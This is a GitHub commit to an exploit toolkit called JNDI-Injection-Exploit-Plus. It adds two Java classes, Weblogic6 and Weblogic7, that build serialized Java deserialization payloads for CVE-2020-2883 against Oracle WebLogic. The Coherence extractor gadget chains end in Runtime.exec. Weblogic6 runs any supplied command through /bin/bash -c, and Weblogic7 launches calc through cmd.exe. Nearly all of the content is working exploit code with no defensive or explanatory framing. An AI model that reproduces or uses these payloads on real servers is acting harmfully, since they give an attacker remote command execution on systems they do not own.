Skip to content

Commit fd035e5

Browse files
cckuailongcckuailong
committed
1 parent 2479583 commit fd035e5

File tree

3 files changed

+160
-1
lines changed

3 files changed

+160
-1
lines changed

‎pom.xml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.9-SNAPSHOT</version>
9+
<version>2.0-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

‎src/main/java/payloads/Weblogic6.java‎

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package payloads;
2+
3+
import com.tangosol.util.ValueExtractor;
4+
import com.tangosol.util.comparator.ExtractorComparator;
5+
import com.tangosol.util.extractor.ChainedExtractor;
6+
import com.tangosol.util.extractor.ReflectionExtractor;
7+
import common.Serializer;
8+
import payloads.annotation.Authors;
9+
import payloads.annotation.Dependencies;
10+
import util.PayloadRunner;
11+
import util.Reflections;
12+
13+
import java.lang.reflect.Field;
14+
import java.util.PriorityQueue;
15+
16+
17+
/*
18+
19+
ObjectInputStream.readObject()
20+
PriorityQueue.readObject()
21+
PriorityQueue.heapify()
22+
PriorityQueue.siftDown()
23+
siftDownUsingComparator()
24+
com.tangosol.util.comparator.ExtractorComparator.compare()
25+
com.tangosol.util.extractor.ChainedExtractor.extract()
26+
com.tangosol.util.extractor.ReflectionExtractor().extract()
27+
Method.invoke()
28+
.......
29+
com.tangosol.util.extractor.ReflectionExtractor().extract()
30+
Method.invoke()
31+
Runtime.exec()
32+
*/
33+
34+
// CVE-2020-2883 1
35+
36+
@SuppressWarnings({ "rawtypes", "unchecked" })
37+
@Dependencies({"weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4"})
38+
@Authors({ Authors.FROHOFF })
39+
public class Weblogic6 implements ObjectPayload<Object> {
40+
41+
public byte[] getObject(final String command) throws Exception {
42+
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
43+
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
44+
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", command}});
45+
46+
ValueExtractor[] valueExtractors = new ValueExtractor[]{
47+
reflectionExtractor1,
48+
reflectionExtractor2,
49+
reflectionExtractor3,
50+
};
51+
52+
Class clazz = ChainedExtractor.class.getSuperclass();
53+
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
54+
m_aExtractor.setAccessible(true);
55+
56+
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
57+
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
58+
reflectionExtractor
59+
};
60+
61+
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
62+
63+
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
64+
queue.add("1");
65+
queue.add("1");
66+
m_aExtractor.set(chainedExtractor1, valueExtractors);
67+
68+
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
69+
queueArray[0] = Runtime.class;
70+
queueArray[1] = "1";
71+
72+
return Serializer.serialize(queue);
73+
}
74+
75+
public static byte[] getBytes(final String command) throws Exception {
76+
return Weblogic6.class.newInstance().getObject(command);
77+
}
78+
79+
public static void main(final String command) throws Exception {
80+
PayloadRunner.run(Weblogic6.class, command);
81+
}
82+
83+
}

‎src/main/java/payloads/Weblogic7.java‎

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
package payloads;
2+
3+
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
4+
import com.tangosol.util.ValueExtractor;
5+
import com.tangosol.util.extractor.ChainedExtractor;
6+
import com.tangosol.util.extractor.MultiExtractor;
7+
import com.tangosol.util.extractor.ReflectionExtractor;
8+
import common.Serializer;
9+
import payloads.annotation.Authors;
10+
import payloads.annotation.Dependencies;
11+
import util.PayloadRunner;
12+
13+
import java.lang.reflect.Field;
14+
import java.util.PriorityQueue;
15+
16+
17+
/*
18+
19+
ObjectInputStream.readObject()
20+
PriorityQueue.readObject()
21+
PriorityQueue.heapify()
22+
PriorityQueue.siftDown()
23+
siftDownUsingComparator()
24+
com.tangosol.util.extractor.AbstractExtractor.compare()
25+
com.tangosol.util.extractor.MultiExtractor.extract()
26+
com.tangosol.util.extractor.ChainedExtractor.extract()
27+
com.tangosol.util.extractor.ChainedExtractor.extract()
28+
com.tangosol.util.extractor.ReflectionExtractor().extract()
29+
Method.invoke()
30+
.......
31+
com.tangosol.util.extractor.ReflectionExtractor().extract()
32+
Method.invoke()
33+
Runtime.exec()
34+
*/
35+
36+
// CVE-2020-2883 2
37+
38+
@SuppressWarnings({ "rawtypes", "unchecked" })
39+
@Dependencies({"weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4"})
40+
@Authors({ Authors.FROHOFF })
41+
public class Weblogic7 implements ObjectPayload<Object> {
42+
43+
public byte[] getObject(final String command) throws Exception {
44+
ValueExtractor[] valueExtractors = new ValueExtractor[]{
45+
new ConstantExtractor(Runtime.class),
46+
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
47+
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
48+
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
49+
};
50+
ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractors);
51+
MultiExtractor multiExtractor = new MultiExtractor();
52+
53+
Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
54+
m_extractor.setAccessible(true);
55+
m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});
56+
57+
PriorityQueue priorityQueue = new PriorityQueue();
58+
priorityQueue.add("foo");
59+
priorityQueue.add("bar");
60+
61+
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
62+
comparator.setAccessible(true);
63+
comparator.set(priorityQueue, multiExtractor);
64+
65+
return Serializer.serialize(priorityQueue);
66+
}
67+
68+
public static byte[] getBytes(final String command) throws Exception {
69+
return Weblogic7.class.newInstance().getObject(command);
70+
}
71+
72+
public static void main(final String command) throws Exception {
73+
PayloadRunner.run(Weblogic7.class, command);
74+
}
75+
76+
}

0 commit comments

Comments
 (0)